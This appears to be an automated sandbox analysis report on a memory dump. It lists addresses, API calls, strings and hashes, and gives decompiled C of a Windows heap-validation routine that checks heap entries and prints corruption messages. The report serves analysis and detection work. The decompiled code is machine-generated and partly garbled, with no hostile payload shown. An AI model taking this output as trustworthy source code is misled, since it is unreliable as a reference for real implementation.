0x00000000
0x6c071f07
0x00000000
0x6c071f07
0x6c02a4e0
0x6c02a4e5
0x6c02a4e7
0x6c0720cb
0x6c02a4ed
0x6c02a4ed
0x6c02a4ed
0x6c02a4f2
0x6c02a4f5
0x6c0720d5
0x6c0720de
0x6c0720e4
0x6c0720f6
0x6c0720f6
0x6c0720e4
0x6c02a4fb
0x00000000
0x6c02a4fb
0x6c02a4a1
0x6c02a4a4
0x6c02a4a8
0x00000000
0x00000000
0x6c02a4aa
0x6c02a4ac
0x00000000
0x00000000
0x6c02a4b2
0x6c02a4b5
0x00000000
0x00000000
0x00000000
0x6c02a4b5
0x6c02a43a
0x6c02a340
0x6c02a346
0x6c02a600
0x00000000
0x6c02a600
0x6c02a34f
0x6c02a351
0x6c02a358
0x6c02a3c6
0x00000000
0x6c02a371
0x6c02a37a
0x6c02a37f
0x6c02a382
0x6c02a384
0x6c02a394
0x00000000
0x6c02a396
0x6c02a399
0x6c02a3a7
0x6c02a3b0
0x6c02a3b4
0x6c02a3bb
0x6c02a3d2
0x6c02a3da
0x6c02a3df
0x6c02a3e1
0x6c02a3e5
0x6c02a3ea
0x6c02a3f0
0x6c02a3f0
0x6c02a3e1
0x00000000
0x6c02a3bb
0x6c02a394

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00004000), ref: 6C02A4E0
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6C02A5C1
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6C02A5DE
RtlGetCurrentServiceSessionId.1105(?,00004000), ref: 6C02A676
RtlGetCurrentServiceSessionId.1105 ref: 6C02A782
RtlGetCurrentServiceSessionId.1105 ref: 6C02A79A
RtlGetCurrentServiceSessionId.1105 ref: 6C072012
RtlGetCurrentServiceSessionId.1105 ref: 6C072061
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6C072214

Strings

(UCRBlock != NULL), xrefs: 6C071EA0
(LONG)FreeEntry->Size > 1, xrefs: 6C07213C
((LONG)FreeEntry->Size > 1), xrefs: 6C071F89
(!TrailingUCR), xrefs: 6C072274
HEAP: , xrefs: 6C071E95, 6C071F7E, 6C072131, 6C072269
HEAP[%wZ]: , xrefs: 6C071E88, 6C071F71, 6C072124, 6C07225C

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1007659313-523794902
Opcode ID: ce8fc8f7d06d4b60cd524395d232734acfb24bc597d9b28e6172acc5704a12e8
Instruction ID: d86e689806740c60402b62b4749a8ef8e8d12de3f1f627777dacb6cefb593cdb
Opcode Fuzzy Hash: ce8fc8f7d06d4b60cd524395d232734acfb24bc597d9b28e6172acc5704a12e8
Instruction Fuzzy Hash: 8442FF30608741DFD714CF28C888B6AB7E5FF89708F244969F4958BB51DB38E985CB62

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C4AEF, Relevance: 47.8, APIs: 18, Strings: 9, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E6C0C4AEF(signed int __ecx, signed int __edx, intOrPtr* _a8, signed int* _a12, signed int* _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t189;
				intOrPtr _t191;
				intOrPtr _t210;
				signed int _t225;
				signed char _t231;
				intOrPtr _t232;
				unsigned int _t245;
				intOrPtr _t249;
				intOrPtr _t259;
				signed int _t281;
				signed int _t283;
				intOrPtr _t284;
				signed int _t288;
				signed int* _t294;
				signed int* _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;
				signed int _t307;
				signed int _t309;
				signed short _t312;
				signed short _t315;
				signed int _t317;
				signed int _t320;
				signed int _t322;
				signed int _t326;
				signed int _t327;
				void* _t328;
				signed int _t332;
				signed int _t340;
				signed int _t342;
				signed char _t344;
				signed int* _t345;
				signed int _t346;
				signed char _t352;
				signed char _t367;
				signed int _t374;
				intOrPtr* _t378;
				signed int _t380;
				signed int _t385;
				signed char _t390;
				unsigned int _t392;
				signed char _t395;
				unsigned int _t397;
				intOrPtr* _t400;
				signed int _t402;
				signed int _t405;
				intOrPtr* _t406;
				signed int _t407;
				intOrPtr _t412;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t429;

				_v16 = _v16 & 0x00000000;
				_t189 = 0;
				_v8 = _v8 & 0;
				_t332 = __edx;
				_v12 = 0;
				_t414 = __ecx;
				_t415 = __edx;
				if(__edx >=  *((intOrPtr*)(__edx + 0x28))) {
					L88:
					_t416 = _v16;
					if( *((intOrPtr*)(_t332 + 0x2c)) == _t416) {
						__eflags =  *((intOrPtr*)(_t332 + 0x30)) - _t189;
						if( *((intOrPtr*)(_t332 + 0x30)) == _t189) {
							L107:
							return 1;
						}
						_t191 =  *[fs:0x30];
						__eflags =  *(_t191 + 0xc);
						if( *(_t191 + 0xc) == 0) {
							_push("HEAP: ");
							E6C00B150();
						} else {
							E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v12);
						_push( *((intOrPtr*)(_t332 + 0x30)));
						_push(_t332);
						_push("Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)\n");
						L122:
						E6C00B150();
						L119:
						return 0;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6C00B150();
					} else {
						E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t416);
					_push( *((intOrPtr*)(_t332 + 0x2c)));
					_push(_t332);
					_push("Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)\n");
					goto L122;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_a16 = _t415;
					if( *(_t414 + 0x4c) != 0) {
						_t392 =  *(_t414 + 0x50) ^  *_t415;
						 *_t415 = _t392;
						_t352 = _t392 >> 0x00000010 ^ _t392 >> 0x00000008 ^ _t392;
						_t424 = _t392 >> 0x18 - _t352;
						if(_t392 >> 0x18 != _t352) {
							_push(_t352);
							E6C0BFA2B(_t332, _t414, _t415, _t414, _t415, _t424);
						}
					}
					if(_v8 != ( *(_t415 + 4) ^  *(_t414 + 0x54))) {
						_t210 =  *[fs:0x30];
						__eflags =  *(_t210 + 0xc);
						if( *(_t210 + 0xc) == 0) {
							_push("HEAP: ");
							E6C00B150();
						} else {
							E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v8 & 0x0000ffff);
						_t340 =  *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff;
						__eflags = _t340;
						_push(_t340);
						E6C00B150("Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)\n", _t415);
						L117:
						__eflags =  *(_t414 + 0x4c);
						if( *(_t414 + 0x4c) != 0) {
							 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
							 *_t415 =  *_t415 ^  *(_t414 + 0x50);
							__eflags =  *_t415;
						}
						goto L119;
					}
					_t225 =  *_t415 & 0x0000ffff;
					_t390 =  *(_t415 + 2);
					_t342 = _t225;
					_v8 = _t342;
					_v20 = _t342;
					_v28 = _t225 << 3;
					if((_t390 & 0x00000001) == 0) {
						__eflags =  *(_t414 + 0x40) & 0x00000040;
						_t344 = (_t342 & 0xffffff00 | ( *(_t414 + 0x40) & 0x00000040) != 0x00000000) & _t390 >> 0x00000002;
						__eflags = _t344 & 0x00000001;
						if((_t344 & 0x00000001) == 0) {
							L66:
							_t345 = _a12;
							 *_a8 =  *_a8 + 1;
							 *_t345 =  *_t345 + ( *_t415 & 0x0000ffff);
							__eflags =  *_t345;
							L67:
							_t231 =  *(_t415 + 6);
							if(_t231 == 0) {
								_t346 = _t414;
							} else {
								_t346 = (_t415 & 0xffff0000) - ((_t231 & 0x000000ff) << 0x10) + 0x10000;
							}
							if(_t346 != _t332) {
								_t232 =  *[fs:0x30];
								__eflags =  *(_t232 + 0xc);
								if( *(_t232 + 0xc) == 0) {
									_push("HEAP: ");
									E6C00B150();
								} else {
									E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t415 + 6) & 0x000000ff);
								_push(_t415);
								_push("Heap block at %p has incorrect segment offset (%x)\n");
								goto L95;
							} else {
								if( *((char*)(_t415 + 7)) != 3) {
									__eflags =  *(_t414 + 0x4c);
									if( *(_t414 + 0x4c) != 0) {
										 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
										 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										__eflags =  *_t415;
									}
									_t415 = _t415 + _v28;
									__eflags = _t415;
									goto L86;
								}
								_t245 =  *(_t415 + 0x1c);
								if(_t245 == 0) {
									_t395 =  *_t415 & 0x0000ffff;
									_v6 = _t395 >> 8;
									__eflags = _t415 + _t395 * 8 -  *((intOrPtr*)(_t332 + 0x28));
									if(_t415 + _t395 * 8 ==  *((intOrPtr*)(_t332 + 0x28))) {
										__eflags =  *(_t414 + 0x4c);
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^ _v6 ^ _t395;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											__eflags =  *_t415;
										}
										goto L107;
									}
									_t249 =  *[fs:0x30];
									__eflags =  *(_t249 + 0xc);
									if( *(_t249 + 0xc) == 0) {
										_push("HEAP: ");
										E6C00B150();
									} else {
										E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_push( *((intOrPtr*)(_t332 + 0x28)));
									_push(_t415);
									_push("Heap block at %p is not last block in segment (%p)\n");
									L95:
									E6C00B150();
									goto L117;
								}
								_v12 = _v12 + 1;
								_v16 = _v16 + (_t245 >> 0xc);
								if( *(_t414 + 0x4c) != 0) {
									 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
									 *_t415 =  *_t415 ^  *(_t414 + 0x50);
								}
								_t415 = _t415 + 0x20 +  *(_t415 + 0x1c);
								if(_t415 ==  *((intOrPtr*)(_t332 + 0x28))) {
									L82:
									_v8 = _v8 & 0x00000000;
									goto L86;
								} else {
									if( *(_t414 + 0x4c) != 0) {
										_t397 =  *(_t414 + 0x50) ^  *_t415;
										 *_t415 = _t397;
										_t367 = _t397 >> 0x00000010 ^ _t397 >> 0x00000008 ^ _t397;
										_t442 = _t397 >> 0x18 - _t367;
										if(_t397 >> 0x18 != _t367) {
											_push(_t367);
											E6C0BFA2B(_t332, _t414, _t415, _t414, _t415, _t442);
										}
									}
									if( *(_t414 + 0x54) !=  *(_t415 + 4)) {
										_t259 =  *[fs:0x30];
										__eflags =  *(_t259 + 0xc);
										if( *(_t259 + 0xc) == 0) {
											_push("HEAP: ");
											E6C00B150();
										} else {
											E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push( *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff);
										_push(_t415);
										_push("Heap block at %p has corrupted PreviousSize (%lx)\n");
										goto L95;
									} else {
										if( *(_t414 + 0x4c) != 0) {
											 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
											 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										}
										goto L82;
									}
								}
							}
						}
						_t281 = _v28 + 0xfffffff0;
						_v24 = _t281;
						__eflags = _t390 & 0x00000002;
						if((_t390 & 0x00000002) != 0) {
							__eflags = _t281 - 4;
							if(_t281 > 4) {
								_t281 = _t281 - 4;
								__eflags = _t281;
								_v24 = _t281;
							}
						}
						__eflags = _t390 & 0x00000008;
						if((_t390 & 0x00000008) == 0) {
							_t102 = _t415 + 0x10; // -8
							_t283 = E6C05D540(_t102, _t281, 0xfeeefeee);
							_v20 = _t283;
							__eflags = _t283 - _v24;
							if(_t283 != _v24) {
								_t284 =  *[fs:0x30];
								__eflags =  *(_t284 + 0xc);
								if( *(_t284 + 0xc) == 0) {
									_push("HEAP: ");
									E6C00B150();
								} else {
									E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_t288 = _v20 + 8 + _t415;
								__eflags = _t288;
								_push(_t288);
								_push(_t415);
								_push("Free Heap block %p modified at %p after it was freed\n");
								goto L95;
							}
							goto L66;
						} else {
							_t374 =  *(_t415 + 8);
							_t400 =  *((intOrPtr*)(_t415 + 0xc));
							_v24 = _t374;
							_v28 = _t400;
							_t294 =  *(_t374 + 4);
							__eflags =  *_t400 - _t294;
							if( *_t400 != _t294) {
								L64:
								_push(_t374);
								_push( *_t400);
								_t101 = _t415 + 8; // -16
								E6C0CA80D(_t414, 0xd, _t101, _t294);
								goto L86;
							}
							_t56 = _t415 + 8; // -16
							__eflags =  *_t400 - _t56;
							_t374 = _v24;
							if( *_t400 != _t56) {
								goto L64;
							}
							 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) - _v20;
							_t402 =  *(_t414 + 0xb4);
							__eflags = _t402;
							if(_t402 == 0) {
								L35:
								_t298 = _v28;
								 *_t298 = _t374;
								 *(_t374 + 4) = _t298;
								__eflags =  *(_t415 + 2) & 0x00000008;
								if(( *(_t415 + 2) & 0x00000008) == 0) {
									L39:
									_t377 =  *_t415 & 0x0000ffff;
									_t299 = _t414 + 0xc0;
									_v28 =  *_t415 & 0x0000ffff;
									 *(_t415 + 2) = 0;
									 *((char*)(_t415 + 7)) = 0;
									__eflags =  *(_t414 + 0xb4);
									if( *(_t414 + 0xb4) == 0) {
										_t378 =  *_t299;
									} else {
										_t378 = E6C02E12C(_t414, _t377);
										_t299 = _t414 + 0xc0;
									}
									__eflags = _t299 - _t378;
									if(_t299 == _t378) {
										L51:
										_t300 =  *((intOrPtr*)(_t378 + 4));
										__eflags =  *_t300 - _t378;
										if( *_t300 != _t378) {
											_push(_t378);
											_push( *_t300);
											__eflags = 0;
											E6C0CA80D(0, 0xd, _t378, 0);
										} else {
											_t87 = _t415 + 8; // -16
											_t406 = _t87;
											 *_t406 = _t378;
											 *((intOrPtr*)(_t406 + 4)) = _t300;
											 *_t300 = _t406;
											 *((intOrPtr*)(_t378 + 4)) = _t406;
										}
										 *((intOrPtr*)(_t414 + 0x74)) =  *((intOrPtr*)(_t414 + 0x74)) + ( *_t415 & 0x0000ffff);
										_t405 =  *(_t414 + 0xb4);
										__eflags = _t405;
										if(_t405 == 0) {
											L61:
											__eflags =  *(_t414 + 0x4c);
											if(__eflags != 0) {
												 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
												 *_t415 =  *_t415 ^  *(_t414 + 0x50);
											}
											goto L86;
										} else {
											_t380 =  *_t415 & 0x0000ffff;
											while(1) {
												__eflags = _t380 -  *((intOrPtr*)(_t405 + 4));
												if(_t380 <  *((intOrPtr*)(_t405 + 4))) {
													break;
												}
												_t307 =  *_t405;
												__eflags = _t307;
												if(_t307 == 0) {
													_t309 =  *((intOrPtr*)(_t405 + 4)) - 1;
													L60:
													_t94 = _t415 + 8; // -16
													E6C02E4A0(_t414, _t405, 1, _t94, _t309, _t380);
													goto L61;
												}
												_t405 = _t307;
											}
											_t309 = _t380;
											goto L60;
										}
									} else {
										_t407 =  *(_t414 + 0x4c);
										while(1) {
											__eflags = _t407;
											if(_t407 == 0) {
												_t312 =  *(_t378 - 8) & 0x0000ffff;
											} else {
												_t315 =  *(_t378 - 8);
												_t407 =  *(_t414 + 0x4c);
												__eflags = _t315 & _t407;
												if((_t315 & _t407) != 0) {
													_t315 = _t315 ^  *(_t414 + 0x50);
													__eflags = _t315;
												}
												_t312 = _t315 & 0x0000ffff;
											}
											__eflags = _v28 - (_t312 & 0x0000ffff);
											if(_v28 <= (_t312 & 0x0000ffff)) {
												goto L51;
											}
											_t378 =  *_t378;
											__eflags = _t414 + 0xc0 - _t378;
											if(_t414 + 0xc0 != _t378) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
								}
								_t317 = E6C02A229(_t414, _t415);
								__eflags = _t317;
								if(_t317 != 0) {
									goto L39;
								}
								E6C02A309(_t414, _t415,  *_t415 & 0x0000ffff, 1);
								goto L86;
							}
							_t385 =  *_t415 & 0x0000ffff;
							while(1) {
								__eflags = _t385 -  *((intOrPtr*)(_t402 + 4));
								if(_t385 <  *((intOrPtr*)(_t402 + 4))) {
									break;
								}
								_t320 =  *_t402;
								__eflags = _t320;
								if(_t320 == 0) {
									_t322 =  *((intOrPtr*)(_t402 + 4)) - 1;
									L34:
									_t63 = _t415 + 8; // -16
									E6C02BC04(_t414, _t402, 1, _t63, _t322, _t385);
									_t374 = _v24;
									goto L35;
								}
								_t402 = _t320;
							}
							_t322 = _t385;
							goto L34;
						}
					}
					if(_a20 == 0) {
						L18:
						if(( *(_t415 + 2) & 0x00000004) == 0) {
							goto L67;
						}
						if(E6C0B23E3(_t414, _t415) == 0) {
							goto L117;
						}
						goto L67;
					} else {
						if((_t390 & 0x00000002) == 0) {
							_t326 =  *(_t415 + 3) & 0x000000ff;
						} else {
							_t328 = E6C001F5B(_t415);
							_t342 = _v20;
							_t326 =  *(_t328 + 2) & 0x0000ffff;
						}
						_t429 = _t326;
						if(_t429 == 0) {
							goto L18;
						}
						if(_t429 >= 0) {
							__eflags = _t326 & 0x00000800;
							if(__eflags != 0) {
								goto L18;
							}
							__eflags = _t326 -  *((intOrPtr*)(_t414 + 0x84));
							if(__eflags >= 0) {
								goto L18;
							}
							_t412 = _a20;
							_t327 = _t326 & 0x0000ffff;
							L17:
							 *((intOrPtr*)(_t412 + _t327 * 4)) =  *((intOrPtr*)(_t412 + _t327 * 4)) + _t342;
							goto L18;
						}
						_t327 = _t326 & 0x00007fff;
						if(_t327 >= 0x81) {
							goto L18;
						}
						_t412 = _a24;
						goto L17;
					}
					L86:
				} while (_t415 <  *((intOrPtr*)(_t332 + 0x28)));
				_t189 = _v12;
				goto L88;
			}

0x6c0c4af7
0x6c0c4afb
0x6c0c4afd
0x6c0c4b01
0x6c0c4b03
0x6c0c4b08
0x6c0c4b0a
0x6c0c4b0f
0x6c0c4eb5
0x6c0c4eb5
0x6c0c4ebb
0x6c0c50d5
0x6c0c50d8
0x6c0c4ff6
0x00000000
0x6c0c4ff6
0x6c0c50de
0x6c0c50e4
0x6c0c50e8
0x6c0c5107
0x6c0c510c
0x6c0c50ea
0x6c0c50ff
0x6c0c5104
0x6c0c5112
0x6c0c5115
0x6c0c5118
0x6c0c5119
0x6c0c50cb
0x6c0c50cb
0x6c0c50af
0x00000000
0x6c0c50af
0x6c0c4ecb
0x6c0c50b6
0x6c0c50bb
0x6c0c4ed1
0x6c0c4ee6
0x6c0c4eeb
0x6c0c50c1
0x6c0c50c2
0x6c0c50c5
0x6c0c50c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6c0c4b15
0x6c0c4b15
0x6c0c4b1c
0x6c0c4b1e
0x6c0c4b23
0x6c0c4b27
0x6c0c4b33
0x6c0c4b38
0x6c0c4b3a
0x6c0c4b3c
0x6c0c4b41
0x6c0c4b41
0x6c0c4b3a
0x6c0c4b52
0x6c0c5045
0x6c0c504b
0x6c0c504f
0x6c0c506e
0x6c0c5073
0x6c0c5051
0x6c0c5066
0x6c0c506b
0x6c0c5083
0x6c0c5088
0x6c0c5088
0x6c0c508a
0x6c0c5091
0x6c0c5099
0x6c0c5099
0x6c0c509d
0x6c0c50a7
0x6c0c50ad
0x6c0c50ad
0x6c0c50ad
0x00000000
0x6c0c509d
0x6c0c4b58
0x6c0c4b5b
0x6c0c4b5e
0x6c0c4b63
0x6c0c4b66
0x6c0c4b69
0x6c0c4b6f
0x6c0c4be4
0x6c0c4bf0
0x6c0c4bf2
0x6c0c4bf5
0x6c0c4dc3
0x6c0c4dc6
0x6c0c4dc9
0x6c0c4dce
0x6c0c4dce
0x6c0c4dd0
0x6c0c4dd0
0x6c0c4dd5
0x6c0c4def
0x6c0c4dd7
0x6c0c4de7
0x6c0c4de7
0x6c0c4df3
0x6c0c5001
0x6c0c5007
0x6c0c500b
0x6c0c502a
0x6c0c502f
0x6c0c500d
0x6c0c5022
0x6c0c5027
0x6c0c5039
0x6c0c503a
0x6c0c503b
0x00000000
0x6c0c4df9
0x6c0c4dfd
0x6c0c4e90
0x6c0c4e94
0x6c0c4e9e
0x6c0c4ea4
0x6c0c4ea4
0x6c0c4ea4
0x6c0c4ea6
0x6c0c4ea6
0x00000000
0x6c0c4ea6
0x6c0c4e03
0x6c0c4e08
0x6c0c4f88
0x6c0c4f92
0x6c0c4f99
0x6c0c4f9c
0x6c0c4fe0
0x6c0c4fe4
0x6c0c4fee
0x6c0c4ff4
0x6c0c4ff4
0x6c0c4ff4
0x00000000
0x6c0c4fe4
0x6c0c4f9e
0x6c0c4fa4
0x6c0c4fa8
0x6c0c4fc7
0x6c0c4fcc
0x6c0c4faa
0x6c0c4fbf
0x6c0c4fc4
0x6c0c4fd2
0x6c0c4fd5
0x6c0c4fd6
0x6c0c4f34
0x6c0c4f34
0x00000000
0x6c0c4f39
0x6c0c4e0e
0x6c0c4e14
0x6c0c4e1b
0x6c0c4e25
0x6c0c4e2b
0x6c0c4e2b
0x6c0c4e33
0x6c0c4e38
0x6c0c4e8a
0x6c0c4e8a
0x00000000
0x6c0c4e3a
0x6c0c4e3e
0x6c0c4e43
0x6c0c4e47
0x6c0c4e53
0x6c0c4e58
0x6c0c4e5a
0x6c0c4e5c
0x6c0c4e61
0x6c0c4e61
0x6c0c4e5a
0x6c0c4e6e
0x6c0c4f41
0x6c0c4f47
0x6c0c4f4b
0x6c0c4f6a
0x6c0c4f6f
0x6c0c4f4d
0x6c0c4f62
0x6c0c4f67
0x6c0c4f7f
0x6c0c4f80
0x6c0c4f81
0x00000000
0x6c0c4e74
0x6c0c4e78
0x6c0c4e82
0x6c0c4e88
0x6c0c4e88
0x00000000
0x6c0c4e78
0x6c0c4e6e
0x6c0c4e38
0x6c0c4df3
0x6c0c4bfe
0x6c0c4c01
0x6c0c4c04
0x6c0c4c07
0x6c0c4c09
0x6c0c4c0c
0x6c0c4c0e
0x6c0c4c0e
0x6c0c4c11
0x6c0c4c11
0x6c0c4c0c
0x6c0c4c14
0x6c0c4c17
0x6c0c4dae
0x6c0c4db2
0x6c0c4db7
0x6c0c4dba
0x6c0c4dbd
0x6c0c4ef1
0x6c0c4ef7
0x6c0c4efb
0x6c0c4f1a
0x6c0c4f1f
0x6c0c4efd
0x6c0c4f12
0x6c0c4f17
0x6c0c4f2b
0x6c0c4f2b
0x6c0c4f2d
0x6c0c4f2e
0x6c0c4f2f
0x00000000
0x6c0c4f2f
0x00000000
0x6c0c4c1d
0x6c0c4c1d
0x6c0c4c20
0x6c0c4c23
0x6c0c4c26
0x6c0c4c29
0x6c0c4c2c
0x6c0c4c2e
0x6c0c4d91
0x6c0c4d91
0x6c0c4d92
0x6c0c4d97
0x6c0c4d9e
0x00000000
0x6c0c4d9e
0x6c0c4c34
0x6c0c4c37
0x6c0c4c39
0x6c0c4c3c
0x00000000
0x00000000
0x6c0c4c45
0x6c0c4c48
0x6c0c4c4e
0x6c0c4c50
0x6c0c4c78
0x6c0c4c78
0x6c0c4c7b
0x6c0c4c7d
0x6c0c4c80
0x6c0c4c84
0x6c0c4cad
0x6c0c4cad
0x6c0c4cb0
0x6c0c4cb8
0x6c0c4cbb
0x6c0c4cbe
0x6c0c4cc1
0x6c0c4cc7
0x6c0c4cdc
0x6c0c4cc9
0x6c0c4cd2
0x6c0c4cd4
0x6c0c4cd4
0x6c0c4cde
0x6c0c4ce0
0x6c0c4d13
0x6c0c4d13
0x6c0c4d16
0x6c0c4d18
0x6c0c4d29
0x6c0c4d2a
0x6c0c4d2c
0x6c0c4d34
0x6c0c4d1a
0x6c0c4d1a
0x6c0c4d1a
0x6c0c4d1d
0x6c0c4d1f
0x6c0c4d22
0x6c0c4d24
0x6c0c4d24
0x6c0c4d3c
0x6c0c4d3f
0x6c0c4d45
0x6c0c4d47
0x6c0c4d6c
0x6c0c4d6c
0x6c0c4d70
0x6c0c4d7e
0x6c0c4d84
0x6c0c4d84
0x00000000
0x6c0c4d49
0x6c0c4d49
0x6c0c4d56
0x6c0c4d56
0x6c0c4d59
0x00000000
0x00000000
0x6c0c4d4e
0x6c0c4d50
0x6c0c4d52
0x6c0c4d8e
0x6c0c4d5d
0x6c0c4d5f
0x6c0c4d67
0x00000000
0x6c0c4d67
0x6c0c4d54
0x6c0c4d54
0x6c0c4d5b
0x00000000
0x6c0c4d5b
0x6c0c4ce2
0x6c0c4ce2
0x6c0c4ce5
0x6c0c4ce5
0x6c0c4ce7
0x6c0c4cfb
0x6c0c4ce9
0x6c0c4ce9
0x6c0c4cec
0x6c0c4cef
0x6c0c4cf1
0x6c0c4cf3
0x6c0c4cf3
0x6c0c4cf3
0x6c0c4cf6
0x6c0c4cf6
0x6c0c4d02
0x6c0c4d05
0x00000000
0x00000000
0x6c0c4d07
0x6c0c4d0f
0x6c0c4d11
0x00000000
0x00000000
0x00000000
0x6c0c4d11
0x00000000
0x6c0c4ce5
0x6c0c4ce0
0x6c0c4c8a
0x6c0c4c8f
0x6c0c4c91
0x00000000
0x00000000
0x6c0c4c9d
0x00000000
0x6c0c4c9d
0x6c0c4c52
0x6c0c4c5f
0x6c0c4c5f
0x6c0c4c62
0x00000000
0x00000000
0x6c0c4c57
0x6c0c4c59
0x6c0c4c5b
0x6c0c4caa
0x6c0c4c66
0x6c0c4c68
0x6c0c4c70
0x6c0c4c75
0x00000000
0x6c0c4c75
0x6c0c4c5d
0x6c0c4c5d
0x6c0c4c64
0x00000000
0x6c0c4c64
0x6c0c4c17
0x6c0c4b75
0x6c0c4bc4
0x6c0c4bc8
0x00000000
0x00000000
0x6c0c4bd9
0x00000000
0x00000000
0x00000000
0x6c0c4b77
0x6c0c4b7a
0x6c0c4b8c
0x6c0c4b7c
0x6c0c4b7e
0x6c0c4b83
0x6c0c4b86
0x6c0c4b86
0x6c0c4b90
0x6c0c4b93
0x00000000
0x00000000
0x6c0c4b95
0x6c0c4bab
0x6c0c4bb0
0x00000000
0x00000000
0x6c0c4bb2
0x6c0c4bb9
0x00000000
0x00000000
0x6c0c4bbb
0x6c0c4bbe
0x6c0c4bc1
0x6c0c4bc1
0x00000000
0x6c0c4bc1
0x6c0c4b97
0x6c0c4ba4
0x00000000
0x00000000
0x6c0c4ba6
0x00000000
0x6c0c4ba6
0x6c0c4ea9
0x6c0c4ea9
0x6c0c4eb2
0x00000000

APIs

RtlCompareMemoryUlong.1105(-00000008,?,FEEEFEEE), ref: 6C0C4DB2
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6C0C4EE6
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,FEEEFEEE), ref: 6C0C4F12
DbgPrint.1105(HEAP: ,-00000008,?,FEEEFEEE), ref: 6C0C4F1F
DbgPrint.1105(Heap block at %p is not last block in segment (%p),-00000018,?), ref: 6C0C4F34
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6C0C4F62
DbgPrint.1105(HEAP: ), ref: 6C0C4F6F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6C0C4FBF
DbgPrint.1105(HEAP: ), ref: 6C0C4FCC
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6C0C5022
DbgPrint.1105(HEAP: ), ref: 6C0C502F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6C0C5066
DbgPrint.1105(HEAP: ), ref: 6C0C5073
DbgPrint.1105(Heap entry %p has incorrect PreviousSize field (%04x instead of %04x),-00000018,?,?), ref: 6C0C5091
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6C0C50BB
DbgPrint.1105(Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x),?,00000000,?,-00000008,?,?), ref: 6C0C50CB
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6C0C50FF
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6C0C510C

Strings

Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 6C0C508C
Free Heap block %p modified at %p after it was freed, xrefs: 6C0C4F2F
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 6C0C4F81
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 6C0C5119
